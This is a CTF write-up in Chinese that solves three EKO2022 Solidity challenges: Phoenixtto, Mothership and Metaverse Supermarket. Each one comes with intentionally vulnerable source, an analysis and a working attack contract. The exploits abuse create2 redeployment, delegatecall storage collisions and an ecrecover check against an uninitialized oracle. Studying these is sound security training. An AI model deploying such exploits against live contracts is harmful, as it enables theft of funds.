hex"5860208158601c335a63aaf10f428752fa158151803b80938091923cf3"
,利用getImplementation
的运行代码,执行create2
指令,最后获取一个地址,该地址和第一次调用reBorn()
时生成的addr
是相同的,期间无论如何修改形参_code
的值,addr
的值都是同一个,但是重点来了,此时部署出来的addr
的合约功能取决于形参_code
,这意味着地址还是那个地址,但是内部的代码却大变样了,这个真的很离谱,第一次接触的我大为震惊。所以说,只要重新通过调用
reBorn
函数,并传入指定的bytecode,被create2生成出来的addr
,则会具备我指定的功能(由我传入的bytecode决定),但是在调用reBorn
函数之前,需要将之前部署的addr
给kill
掉。而capture
函数则提供了可行性,但是有个if (!_isBorn || msg.sender != tx.origin) return;
限制条件,简单,所以需要手动去毁掉addr
合约。当然,这题好像还有一种解决办法,就是通过
capture
函数进行捕获,address newOwner = address(uint160(uint256(keccak256(abi.encodePacked(_newOwner)))))
这很明显就是publickey=>address的计算式,所以只要将player的publickey传入即可capture
它,但是,形参是string类型的,公钥是bytes32类型的,我不知道咋转,这个思路就先搁置了。
3. solve
攻击合约
contract PhoenixttoHacker {
Laboratory laboratory;
constructor(address _laboratory) {
laboratory = Laboratory(_laboratory);
}
function attack() public {
laboratory.reBorn(type(PhoenixttoHelper).creationCode);
require(laboratory.isCaught(), "You don't catch it...");
}
}
contract PhoenixttoHelper {
address public owner;
function reBorn() public {
owner = 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2; // player'address
}
}
Mothership
1.question
You and a small group of scientists have been working on a global counteroffensive against the invader.
We’ve recovered some of the ship’s source code and need to find a way to hack it!
You have already studied the code and realized that to survive you need to take control of the Mothership.
Your objective is to hack the Mothership instance (change the hacked bool to true).
Good luck, the earth’s future depends on you!
源码
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
/// @title Hack the Mothership
/// @author https://twitter.com/nicobevi_eth
/// @notice A big alien float is near the Earth! You and an anon group of scientists have been working on a global counteroffensive against the invader. Hack the Mothership, save the earth
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/hack-the-mothership
contract Mothership {
address public leader;
SpaceShip[] public fleet;
mapping(address => SpaceShip) public captainRegisteredShip;
bool public hacked;
constructor() {
leader = msg.sender;
address[5] memory captains = [
0x0000000000000000000000000000000000000001,
0x0000000000000000000000000000000000000002,
0x0000000000000000000000000000000000000003,
0x0000000000000000000000000000000000000004,
0x0000000000000000000000000000000000000005
];
// Adding standard modules
address cleaningModuleAddress = address(new CleaningModule());
address refuelModuleAddress = address(new RefuelModule());
address leadershipModuleAddress = address(new LeadershipModule());
for (uint8 i = 0; i < 5; i++) {
SpaceShip _spaceship = new SpaceShip(
captains[i],
address(this),
cleaningModuleAddress,
refuelModuleAddress,
leadershipModuleAddress
);
fleet.push(_spaceship);
captainRegisteredShip[captains[i]] = _spaceship;
}
}
function addSpaceShipToFleet(SpaceShip spaceship) external {
require(leader == msg.sender, "You are not our leader");
fleet.push(spaceship);
captainRegisteredShip[spaceship.captain()] = spaceship;
}
function _isFleetMember(SpaceShip spaceship) private view returns (bool isFleetMember) {
uint8 len = uint8(fleet.length);
for (uint8 i; i < len; ++i) {
if (address(fleet[i]) == address(spaceship)) {
isFleetMember = true;
break;
}
}
}
/**
* A new captain will be promoted if:
* 1. Ship is part of the fleet
* 2. Ship has no captain
* 3. The new captain is not a captain already
*/
function assignNewCaptainToShip(address _newCaptain) external {
SpaceShip spaceship = SpaceShip(msg.sender);
require(_isFleetMember(spaceship), "You're not part of the fleet");
require(spaceship.captain() == address(0), "Ship has a captain");
require(address(captainRegisteredShip[_newCaptain]) == address(0), "You're a captain already");
// register ship to captain
captainRegisteredShip[_newCaptain] = spaceship;
// Communicate that new captain has been approved to ship
spaceship.newCaptainPromoted(_newCaptain);
}
/**
* A captain will be assigned as leader of the fleet if:
* 1. The proposed leader is a spaceship captain
* 2. All the other ships approve the promotion
*/
function promoteToLeader(address _leader) external {
SpaceShip leaderSpaceship = captainRegisteredShip[_leader];
// should have a registered ship
require(address(leaderSpaceship) != address(0), "is not a captain");
// should be approved by other captains
uint8 len = uint8(fleet.length);
for (uint8 i; i < len; ++i) {
SpaceShip spaceship = fleet[i];
// ignore captain ship
if (address(spaceship) == address(leaderSpaceship)) {
continue;
}
// should not revert if captain approves the new leader
LeadershipModule(address(spaceship)).isLeaderApproved(_leader);
}
// remove captain from his ship
delete captainRegisteredShip[_leader];
leaderSpaceship.newCaptainPromoted(address(0));
leader = _leader;
}
function hack() external {
require(leader == msg.sender, "You are not our leader");
hacked = true;
}
function fleetLength() external view returns (uint256) {
return fleet.length;
}
/**
* ...the rest of the code is lost
*/
}
contract SpaceShip {
address public captain;
address[] public crew;
Mothership public mothership;
mapping(bytes4 => address) public modules;
constructor(
address _captain,
address _mothership,
address _cleaningModuleAddress,
address _refuelModuleAddress,
address _leadershipModuleAddress
) {
captain = _captain;
mothership = Mothership(_mothership);
// Adding standard modules
modules[CleaningModule.replaceCleaningCompany.selector] = _cleaningModuleAddress;
modules[RefuelModule.addAlternativeRefuelStationsCodes.selector] = _refuelModuleAddress;
modules[LeadershipModule.isLeaderApproved.selector] = _leadershipModuleAddress;
}
function _isCrewMember(address member) private view returns (bool isCrewMember) {
uint256 len = uint256(crew.length);
for (uint256 i; i < len; ++i) {
if (crew[i] == member) {
isCrewMember = true;
break;
}
}
}
function newCaptainPromoted(address _captain) external {
require(msg.sender == address(mothership), "You are not our mother");
captain = _captain;
}
function askForNewCaptain(address _newCaptain) external {
require(_isCrewMember(msg.sender), "Not part of the crew");
require(captain == address(0), "We have a captain already");
mothership.assignNewCaptainToShip(_newCaptain);
}
/**
* This SpaceShip model has an advanced module system
* Only the captain can upgrade the ship
*/
function addModule(bytes4 _moduleSig, address _moduleAddress) external {
require(msg.sender == captain, "You are not our captain");
modules[_moduleSig] = _moduleAddress;
}
// solhint-disable-next-line no-complex-fallback
fallback() external {
bytes4 sig4 = msg.sig;
address module = modules[sig4];
require(module != address(0), "invalid module");
// call the module
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = module.delegatecall(msg.data);
if (!success) {
// return response error
assembly {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
}
}
}
contract CleaningModule {
address private cleaningCompany;
function replaceCleaningCompany(address _cleaningCompany) external {
cleaningCompany = _cleaningCompany;
}
/**
* ...the rest of the code is lost
*/
}
contract RefuelModule {
uint256 private mainRefuelStation;
uint256[] private alternativeRefuelStationsCodes;
function addAlternativeRefuelStationsCodes(uint256 refuelStationCode) external {
alternativeRefuelStationsCodes.push(refuelStationCode);
}
/**
* ...the rest of the code is lost
*/
}
contract LeadershipModule {
function isLeaderApproved(address) external pure {
revert("We don't want a new leader :(");
}
/**
* ...the rest of the code is lost
*/
}
/**
* ...the rest of the code is lost
*/
2. analysis
这题很有意思,考察了很多点:
- 仔细分析题目:要想使
hacked
变成true,只能通过hack
函数,而调用该函数的前提是成为leader
,promoteToLeader
函数提供了可行性,但是需要通过一系列限制,分析promoteToLeader
函数function promoteToLeader(address _leader) external { SpaceShip leaderSpaceship = captainRegisteredShip[_leader]; // should have a registered ship require(address(leaderSpaceship) != address(0), "is not a captain"); // should be approved by other captains uint8 len = uint8(fleet.length); for (uint8 i; i < len; ++i) { SpaceShip spaceship = fleet[i]; // ignore captain ship if (address(spaceship) == address(leaderSpaceship)) { continue; } // should not revert if captain approves the new leader LeadershipModule(address(spaceship)).isLeaderApproved(_leader); } // remove captain from his ship delete captainRegisteredShip[_leader]; leaderSpaceship.newCaptainPromoted(address(0)); leader = _leader; }
首先是满足
captainRegisteredShip[_leader] != address(0)
,要想满足该条件只能通过assignNewCaptainToShip
函数,分析assignNewCaptainToShip
函数可知,第一关则是满足isFleetMember(SpaceShip(msg.sender))==true
,于是乎,看到_isFleetMember(SpaceShip spaceship)
函数,只有spaceship
被加入到fleet
中才能返回true,而msg.sender
是没有被加入到fleet
中的,唯一的添加途径是通过addSpaceShipToFleet
函数,但是该函数只能由leader
调用,我们的初衷就是成为leader
,所以该方法不可行。
看到
SpaceShip
合约,askForNewCaptain
函数中有这样一句代码mothership.assignNewCaptainToShip(_newCaptain);
,意味着可以通过该函数调用MotherShip
中的assignNewCaptainToShip
,因为该spaceship
可以从公开的fleet
中获取其地址,从而进行操作。要想成功调用该函数,需要满足两个限制条件,require(_isCrewMember(msg.sender), “Not part of the crew”); require(captain == address(0), “We have a captain already”);这里很巧妙的,看到该合约的回调函数fallback,其函数的逻辑和代理合约中的回调函数简直一模一样,只不过它只能调用某些限定的函数,但这无所谓了,这几个函数已经可以满足要求了,
delegatacall
调用最容易发生的就是插槽冲突从而导致的覆盖。SpaceShip中的_isCrewMember函数,需要member为crew中的成员才返回true,而RefuelModule
合约中的addAlternativeRefuelStationsCodes
,则为我提供了使得member
成为crew中的一员的可能性。再看到CleaningModule合约的replaceCleaningCompany函数为修改captain的值提供了可行性。当然,还有一点很重要就是要先成为captain
,为了调用addModule
函数,将modules[LeadershipModule.isLeaderApproved.selector]
对应的地址修改为hacker
的地址,其目的是为了成功MotherShip中promoteToLeader函数中的LeadershipModule(address(spaceship)).isLeaderApproved(_leader);
,因为原始的LeadershipModule中的该函数不能调用成功,所以这里有点繁琐,需要通过for循环将fleet中的5个LeadershipModule全部改掉。完成上述步骤之后,hacker可以成为leader了,然后调用hack函数,攻击该母舰。
📌 woc,分析出来之后,然后酷酷写代码,写了这么多!!!!居然一次就hack成功了!!!
3. solve
攻击合约
攻击逻辑:先部署LeadershipFake,然后部署MotherShip,将部署出来的mothership地址用于部署MotherShipHacker,然后将LeadshipFake传入attack函数中,即可完成攻击。
contract MotherShipHacker {
Mothership mothership;
SpaceShip spaceship;
constructor(address _mothership) {
mothership = Mothership(_mothership);
spaceship = mothership.fleet(0);
}
function attack(address leadershipFake) public {
// change spaceship's LeadershipModule
for (uint i; i < 5; i++) {
SpaceShip _spaceship = mothership.fleet(i);
// become SpaceShip's captain
address(_spaceship).call(abi.encodeWithSelector(CleaningModule.replaceCleaningCompany.selector, address(this)));
_spaceship.addModule(bytes4(abi.encodeWithSignature("isLeaderApproved(address)")), leadershipFake);
}
/* operate the spaceship */
// change spaceship's captain to address(0)
address(spaceship).call(abi.encodeWithSelector(CleaningModule.replaceCleaningCompany.selector, address(0)));
// push hacker into crew
address(spaceship).call(abi.encodeWithSelector(RefuelModule.addAlternativeRefuelStationsCodes.selector, uint(uint160(address(this)))));
// call MotherShip's assignNewCaptainToShip
spaceship.askForNewCaptain(address(this));
// become MotherShi's leader
mothership.promoteToLeader(address(this));
// hack the mothership
mothership.hack();
require(mothership.hacked(), "The mothership is not been hacked...");
}
}
contract LeadershipFake {
function isLeaderApproved(address) external pure {}
}
Metaverse Supermarket
1.question
We are all living in the Inflation Metaverse, a digital world dominated by the INFLA token. Stability has become a scarce resource and even going to the store is a painful experience: we need to rely on oracles that sign off-chain data that lasts a couple of blocks because updating prices on-chain would be complete madness.
You are out of INFLAs and you are starving, can you defeat the system?
源码
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/25fe191202c44c762bc2a933913e21b37200f0e9/contracts/utils/cryptography/EIP712.sol";
struct OraclePrice {
uint256 blockNumber;
uint256 price;
}
struct Signature {
uint8 v;
bytes32 r;
bytes32 s;
}
abstract contract InflaStoreEIP712 is EIP712 {
bytes32 public constant ORACLE_PRICE_TYPEHASH = keccak256("OraclePrice(uint256 blockNumber,uint256 price)");
function _hashOraclePrice(OraclePrice memory oraclePrice) internal view returns (bytes32 hash) {
return _hashTypedDataV4(
keccak256(abi.encode(ORACLE_PRICE_TYPEHASH, oraclePrice.blockNumber, oraclePrice.price))
);
}
}
/// @title Metaverse Supermarket
/// @author https://twitter.com/adrianromero
/// @notice We are all living in the Inflation Metaverse, a digital world dominated by the INFLA token. You are out of INFLAs and you are starving, can you defeat the system?
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/metaverse-supermarket
contract InflaStore is InflaStoreEIP712 {
Meal public immutable meal;
Infla public immutable infla;
address private owner;
address private oracle;
uint256 public constant MEAL_PRICE = 1e6;
uint256 public constant BLOCK_RANGE = 10;
constructor(address player) EIP712("InflaStore", "1.0") {
meal = new Meal();
infla = new Infla(player, 10);
owner = msg.sender;
}
function setOracle(address _oracle) external {
require(owner == msg.sender, "!owner");
oracle = _oracle;
}
function buy() external {
_mintMeal(msg.sender, MEAL_PRICE);
}
function buyUsingOracle(OraclePrice calldata oraclePrice, Signature calldata signature) external {
_validateOraclePrice(oraclePrice, signature);
_mintMeal(msg.sender, oraclePrice.price);
}
function _mintMeal(address buyer, uint256 price) private {
infla.transferFrom(buyer, address(this), price);
meal.safeMint(buyer);
}
function _validateOraclePrice(OraclePrice calldata oraclePrice, Signature calldata signature) private view {
require(block.number - oraclePrice.blockNumber < BLOCK_RANGE, "price too old!");
bytes32 oracleHash = _hashOraclePrice(oraclePrice);
address recovered = _recover(oracleHash, signature.v, signature.r, signature.s);
require(recovered == oracle, "not oracle!");
}
function _recover(bytes32 digest, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
require(v == 27 || v == 28, "invalid v!");
return ecrecover(digest, v, r, s);
}
}
import "https://github.com/transmissions11/solmate/blob/c2594bf4635ad773a8f4763e20b7e79582e41535/src/tokens/ERC721.sol";
contract Meal is ERC721("Meal", "MEAL") {
address private immutable _owner;
uint256 private _tokenIdCounter;
constructor() {
_owner = msg.sender;
}
function safeMint(address to) external {
require(_owner == msg.sender, "Only owner can mint");
uint256 tokenId = _tokenIdCounter;
unchecked {
++_tokenIdCounter;
}
_safeMint(to, tokenId);
}
function tokenURI(uint256) public pure override returns (string memory) {
return "ipfs://QmQqCFY7Dt9SFgadayt8eeTr7i5XauiswxeLysexbymGp1";
}
}
import "https://github.com/transmissions11/solmate/blob/c2594bf4635ad773a8f4763e20b7e79582e41535/src/tokens/ERC20.sol";
contract Infla is ERC20("INFLA", "INF", 18) {
constructor(address player, uint256 amount) {
_mint(player, amount);
}
}
2. analysis
这道题要求是让自己不挨饿,什么意思呢,就是拥有
meal
,即ERC721代币不为零,而能铸币的函数只有两个,buy() 和 buyUsingOracle()
,想要“吃饭”必须要有MEAL_PRICE
这么多钱,而我们手中的钱远远不够,所以,只能通过buyUsingOracle()
函数。分析_validateOraclePrice()
函数,要求传入两个结构体,通过OraclePrice
获取签名,且签名结果已被固定算法生成了,所以这几乎是不可能通过recover
恢复出的地址和oracle相同(*当然,这是在oracle被初始化的情况下,但实际上,该oracle并没有被初始化,其值为address(0)
)所以,这要让_recover(oracleHash, signature.v, signature.r, signature.s)
返回address(0)即可。如何返回address(0)呢,只要让
ecrecover
在计算过程中出现错误即可返回address(0)
那么该如何出错呢, 查了一下资料,只需让signature.v 不等于27或28,或signature.r=0,或signature.s=0
即可。还有一点,就是想要通过Infla合约,让player给InflaStore合约授权,为了执行
infla.transferFrom(buyer, address(this), price);
,同时hacker合约需要实现IERC721Receiver
接口,否则,meal.safeMint(buyer);
将无法执行。
3. solve
攻击逻辑:先部署hacker,让hacker成为InflaStore的player,再然后,调用attack传入inflastore,即可完成攻击。
攻击合约
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract SupermarketHacker is IERC721Receiver {
InflaStore store;
Meal meal;
Infla infla;
address hacker;
function attack(address _store) public {
// init
store = InflaStore(_store);
meal = store.meal();
hacker = msg.sender;
infla = store.infla();
// create signature
Signature memory signature = Signature(27, 0, 0);
// create oracleprice
OraclePrice memory oracleprice = OraclePrice(block.number, 1);
// ERC20 approve
infla.approve(address(store), type(uint).max);
// mint meal
store.buyUsingOracle(oracleprice, signature);
require(meal.balanceOf(address(this)) > 0, "you have not meal, you still stave...");
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external virtual returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}
嗯哼,收工~🤪